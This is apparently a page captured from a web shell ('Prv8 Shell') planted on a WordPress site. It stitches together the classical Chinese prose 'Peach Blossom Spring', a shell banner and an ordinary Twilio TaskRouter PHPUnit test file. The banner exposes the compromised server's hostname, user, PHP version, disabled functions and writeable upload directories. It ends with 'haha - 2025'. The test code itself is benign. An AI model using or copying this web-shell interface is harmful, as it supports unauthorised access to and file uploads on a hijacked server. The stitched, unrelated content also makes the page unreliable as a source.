晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/plugins/digits/Twilio/Tests/Unit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/rainic/public_html/oldTZh/wp-content/plugins/digits/Twilio/Tests/Unit/WorkflowTest.php
<?php

namespace Twilio\Tests\Unit;

use Twilio\TaskRouter\WorkflowConfiguration;
use Twilio\TaskRouter\WorkflowRule;
use Twilio\TaskRouter\WorkflowRuleTarget;
use Twilio\Tests\Unit\UnitTest;

class WorkflowTest extends UnitTest {

	public function testDefaultRuleTarget() {
		$everyoneQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$defaultTarget = new WorkflowRuleTarget($everyoneQueue);
		$this->assertEquals($defaultTarget->queue, "WQf6724bd5005b30eeb6ea990c3e59e536");
		$this->assertEquals($defaultTarget->priority, null);
		$this->assertEquals($defaultTarget->timeout, null);
		$this->assertEquals($defaultTarget->expression, null);
	}

	public function testSimpleRuleTarget() {
		$everyoneQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$priority = 10;
		$timeout = 60;
		$filterWorkerExpression = null;
		$ruleTarget = new WorkflowRuleTarget($everyoneQueue, $priority, $timeout, $filterWorkerExpression);
		$this->assertEquals($ruleTarget->queue, "WQf6724bd5005b30eeb6ea990c3e59e536");
		$this->assertEquals($ruleTarget->priority, $priority);
		$this->assertEquals($ruleTarget->timeout, $timeout);
		$this->assertEquals($ruleTarget->expression, $filterWorkerExpression);
	}

	public function testFilterWorkerRuleTarget() {
		$everyoneQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$priority = 10;
		$timeout = 60;
		$filterWorkerExpression = "task.language IN worker.languages";
		$ruleTarget = new WorkflowRuleTarget($everyoneQueue, $priority, $timeout, $filterWorkerExpression);
		$this->assertEquals($ruleTarget->queue, "WQf6724bd5005b30eeb6ea990c3e59e536");
		$this->assertEquals($ruleTarget->priority, $priority);
		$this->assertEquals($ruleTarget->timeout, $timeout);
		$this->assertEquals($ruleTarget->expression, $filterWorkerExpression);
	}

	public function testSimpleRule() {
		$salesQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$salesTarget = new WorkflowRuleTarget($salesQueue);
		$expression = "type=='sales'";
		$friendlyName = "Sales";
		$salesTargets[] = $salesTarget;
		$salesRule = new WorkflowRule($expression, $salesTargets, $friendlyName);
		$this->assertEquals($salesRule->expression, $expression);
		$this->assertEquals($salesRule->friendly_name, $friendlyName);
		$this->assertEquals($salesRule->targets[0], $salesTarget);
	}

	public function testFullWorkflow() {
		$salesQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$marketingQueue = "WQ8c62f84b61ccfa6a333757cd508f0aae";
		$supportQueue = "WQ5940dc0da87eaf6e3321d62041d4403b";
		$everyoneQueue = "WQ6d29383312b24bd898a8df32779fc043";

		$defaultTarget = new WorkflowRuleTarget($everyoneQueue);

		$salesTargets = array();
		$salesTarget = new WorkflowRuleTarget($salesQueue);
		$salesTargets[] = $salesTarget;
		$salesRule = new WorkflowRule("type=='sales'", $salesTargets, 'Sales');

		$marketingTargets = array();
		$marketingTarget = new WorkflowRuleTarget($marketingQueue);
		$marketingTargets[] = $marketingTarget;
		$marketingRule = new WorkflowRule("type=='marketing'", $marketingTargets, 'Marketing');

		$supportTargets = array();
		$supportTarget = new WorkflowRuleTarget($supportQueue);
		$supportTargets[] = $supportTarget;
		$supportRule = new WorkflowRule("type=='support'", $supportTargets, 'Support');

		$rules[] = $salesRule;
		$rules[] = $marketingRule;
		$rules[] = $supportRule;

		$configuration = new WorkflowConfiguration($rules, $defaultTarget);
		$json = $configuration->toJSON();

		$expectedJsonString = "{
				\"task_routing\":{
				  \"filters\":[
					 {
						\"expression\":\"type=='sales'\",
						\"targets\":[
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\"
						   }
						],
						\"friendly_name\":\"Sales\"
					 },
					 {
						\"expression\":\"type=='marketing'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\"
						   }
						],
						\"friendly_name\":\"Marketing\"
					 },
					 {
						\"expression\":\"type=='support'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\"
						   }
						],
						\"friendly_name\":\"Support\"
					 }
				  ],
				  \"default_filter\":{
					 \"queue\":\"WQ6d29383312b24bd898a8df32779fc043\"
				  }
				}
			}";

		// getting a trimmed, simple string
		$jsonObject = json_decode($expectedJsonString);
		$expectedJson = json_encode($jsonObject);

		$this->assertEquals($json, $expectedJson);
	}

	public function testFullWorkflowWithTimeouts() {
		$salesQueue = "WQf6724bd5005b30eeb6ea990c3e59e536";
		$marketingQueue = "WQ8c62f84b61ccfa6a333757cd508f0aae";
		$supportQueue = "WQ5940dc0da87eaf6e3321d62041d4403b";
		$everyoneQueue = "WQ6d29383312b24bd898a8df32779fc043";

		$defaultTarget = new WorkflowRuleTarget($everyoneQueue);

		$salesTargets = array();
		$salesTarget1 = new WorkflowRuleTarget($salesQueue, 5, 30);
		$salesTarget2 = new WorkflowRuleTarget($salesQueue, 10);
		$salesTargets[] = $salesTarget1;
		$salesTargets[] = $salesTarget2;
		$salesRule = new WorkflowRule("type=='sales'", $salesTargets, 'Sales');

		$marketingTargets = array();
		$marketingTarget1 = new WorkflowRuleTarget($marketingQueue, 1, 120);
		$marketingTarget2 = new WorkflowRuleTarget($marketingQueue, 3);
		$marketingTargets[] = $marketingTarget1;
		$marketingTargets[] = $marketingTarget2;
		$marketingRule = new WorkflowRule("type=='marketing'", $marketingTargets, 'Marketing');

		$supportTargets = array();
		$supportTarget1 = new WorkflowRuleTarget($supportQueue, 10, 30);
		$supportTarget2 = new WorkflowRuleTarget($supportQueue, 15);
		$supportTargets[] = $supportTarget1;
		$supportTargets[] = $supportTarget2;
		$supportRule = new WorkflowRule("type=='support'", $supportTargets, 'Support');

		$rules[] = $salesRule;
		$rules[] = $marketingRule;
		$rules[] = $supportRule;

		$configuration = new WorkflowConfiguration($rules, $defaultTarget);
		$json = $configuration->toJSON();

		$expectedJsonString = "{
				\"task_routing\":{
				  \"filters\":[
					 {
						\"expression\":\"type=='sales'\",
						\"targets\":[
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 5,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 10
						   }
						],
						\"friendly_name\":\"Sales\"
					 },
					 {
						\"expression\":\"type=='marketing'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 1,
							  \"timeout\": 120
						   },
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 3
						   }
						],
						\"friendly_name\":\"Marketing\"
					 },
					 {
						\"expression\":\"type=='support'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 10,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 15
						   }
						],
						\"friendly_name\":\"Support\"
					 }
				  ],
				  \"default_filter\":{
					 \"queue\":\"WQ6d29383312b24bd898a8df32779fc043\"
				  }
				}
			}";

		// getting a trimmed, simple string
		$jsonObject = json_decode($expectedJsonString);
		$expectedJson = json_encode($jsonObject);

		$this->assertEquals($json, $expectedJson);
	}

	public function testParseWorkflow() {
		$json = "{
				\"task_routing\":{
				  \"filters\":[
					 {
						\"expression\":\"type=='sales'\",
						\"targets\":[
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 5,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 10
						   }
						],
						\"friendly_name\":\"Sales\"
					 },
					 {
						\"expression\":\"type=='marketing'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 1,
							  \"timeout\": 120
						   },
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 3
						   }
						],
						\"friendly_name\":\"Marketing\"
					 },
					 {
						\"expression\":\"type=='support'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 10,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 15
						   }
						],
						\"friendly_name\":\"Support\"
					 }
				  ],
				  \"default_filter\":{
					 \"queue\":\"WQ6d29383312b24bd898a8df32779fc043\"
				  }
				}
			}";

		$config = WorkflowConfiguration::fromJson($json);
		$taskRoutingConfig = WorkflowConfiguration::parse($json)->task_routing;

		$this->assertEquals(3, count($taskRoutingConfig->filters));
		$this->assertEquals(3, count($config->filters));
		$this->assertEquals(1, count($config->default_filter));
		// sales assertions
		$this->assertEquals("type=='sales'", $config->filters[0]->expression);
		$this->assertEquals("Sales", $config->filters[0]->friendly_name);
		$this->assertEquals(2, count($config->filters[0]->targets));
		$this->assertEquals("WQf6724bd5005b30eeb6ea990c3e59e536", $config->filters[0]->targets[0]->queue);
		$this->assertEquals(5, $config->filters[0]->targets[0]->priority);
		$this->assertEquals(30, $config->filters[0]->targets[0]->timeout);
		$this->assertEquals("WQf6724bd5005b30eeb6ea990c3e59e536", $config->filters[0]->targets[1]->queue);
		$this->assertEquals(10, $config->filters[0]->targets[1]->priority);
		// marketing assertions
		$this->assertEquals("type=='marketing'", $config->filters[1]->expression);
		$this->assertEquals("Marketing", $config->filters[1]->friendly_name);
		$this->assertEquals(2, count($config->filters[1]->targets));
		$this->assertEquals("WQ8c62f84b61ccfa6a333757cd508f0aae", $config->filters[1]->targets[0]->queue);
		$this->assertEquals(1, $config->filters[1]->targets[0]->priority);
		$this->assertEquals(120, $config->filters[1]->targets[0]->timeout);
		$this->assertEquals("WQ8c62f84b61ccfa6a333757cd508f0aae", $config->filters[1]->targets[1]->queue);
		$this->assertEquals(3, $config->filters[1]->targets[1]->priority);
		// support assertions
		$this->assertEquals("type=='support'", $config->filters[2]->expression);
		$this->assertEquals("Support", $config->filters[2]->friendly_name);
		$this->assertEquals(2, count($config->filters[2]->targets));
		$this->assertEquals("WQ5940dc0da87eaf6e3321d62041d4403b", $config->filters[2]->targets[0]->queue);
		$this->assertEquals(10, $config->filters[2]->targets[0]->priority);
		$this->assertEquals(30, $config->filters[2]->targets[0]->timeout);
		$this->assertEquals("WQ5940dc0da87eaf6e3321d62041d4403b", $config->filters[2]->targets[1]->queue);
		$this->assertEquals(15, $config->filters[2]->targets[1]->priority);
		// default filter
		$this->assertEquals("WQ6d29383312b24bd898a8df32779fc043", $config->default_filter->queue);
	}

	public function testParseWorkflowFilterFriendlyName() {
		$json = "{
				\"task_routing\":{
				  \"filters\":[
					 {
						\"expression\":\"type=='sales'\",
						\"targets\":[
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 5,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQf6724bd5005b30eeb6ea990c3e59e536\",
							  \"priority\": 10
						   }
						],
						\"filter_friendly_name\":\"Sales\"
					 },
					 {
						\"expression\":\"type=='marketing'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 1,
							  \"timeout\": 120
						   },
						   {
							  \"queue\":\"WQ8c62f84b61ccfa6a333757cd508f0aae\",
							  \"priority\": 3
						   }
						],
						\"filter_friendly_name\":\"Marketing\"
					 },
					 {
						\"expression\":\"type=='support'\",
						\"targets\":[
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 10,
							  \"timeout\": 30
						   },
						   {
							  \"queue\":\"WQ5940dc0da87eaf6e3321d62041d4403b\",
							  \"priority\": 15
						   }
						],
						\"filter_friendly_name\":\"Support\"
					 }
				  ],
				  \"default_filter\":{
					 \"queue\":\"WQ6d29383312b24bd898a8df32779fc043\"
				  }
				}
			}";

		$config = WorkflowConfiguration::fromJson($json);
		$taskRoutingConfig = WorkflowConfiguration::parse($json)->task_routing;

		$this->assertEquals(3, count($taskRoutingConfig->filters));
		$this->assertEquals(3, count($config->filters));
		$this->assertEquals(1, count($config->default_filter));
		// sales assertions
		$this->assertEquals("type=='sales'", $config->filters[0]->expression);
		$this->assertEquals("Sales", $config->filters[0]->friendly_name);
		$this->assertEquals(2, count($config->filters[0]->targets));
		$this->assertEquals("WQf6724bd5005b30eeb6ea990c3e59e536", $config->filters[0]->targets[0]->queue);
		$this->assertEquals(5, $config->filters[0]->targets[0]->priority);
		$this->assertEquals(30, $config->filters[0]->targets[0]->timeout);
		$this->assertEquals("WQf6724bd5005b30eeb6ea990c3e59e536", $config->filters[0]->targets[1]->queue);
		$this->assertEquals(10, $config->filters[0]->targets[1]->priority);
		// marketing assertions
		$this->assertEquals("type=='marketing'", $config->filters[1]->expression);
		$this->assertEquals("Marketing", $config->filters[1]->friendly_name);
		$this->assertEquals(2, count($config->filters[1]->targets));
		$this->assertEquals("WQ8c62f84b61ccfa6a333757cd508f0aae", $config->filters[1]->targets[0]->queue);
		$this->assertEquals(1, $config->filters[1]->targets[0]->priority);
		$this->assertEquals(120, $config->filters[1]->targets[0]->timeout);
		$this->assertEquals("WQ8c62f84b61ccfa6a333757cd508f0aae", $config->filters[1]->targets[1]->queue);
		$this->assertEquals(3, $config->filters[1]->targets[1]->priority);
		// support assertions
		$this->assertEquals("type=='support'", $config->filters[2]->expression);
		$this->assertEquals("Support", $config->filters[2]->friendly_name);
		$this->assertEquals(2, count($config->filters[2]->targets));
		$this->assertEquals("WQ5940dc0da87eaf6e3321d62041d4403b", $config->filters[2]->targets[0]->queue);
		$this->assertEquals(10, $config->filters[2]->targets[0]->priority);
		$this->assertEquals(30, $config->filters[2]->targets[0]->timeout);
		$this->assertEquals("WQ5940dc0da87eaf6e3321d62041d4403b", $config->filters[2]->targets[1]->queue);
		$this->assertEquals(15, $config->filters[2]->targets[1]->priority);
		// default filter
		$this->assertEquals("WQ6d29383312b24bd898a8df32779fc043", $config->default_filter->queue);
	}
}

haha - 2025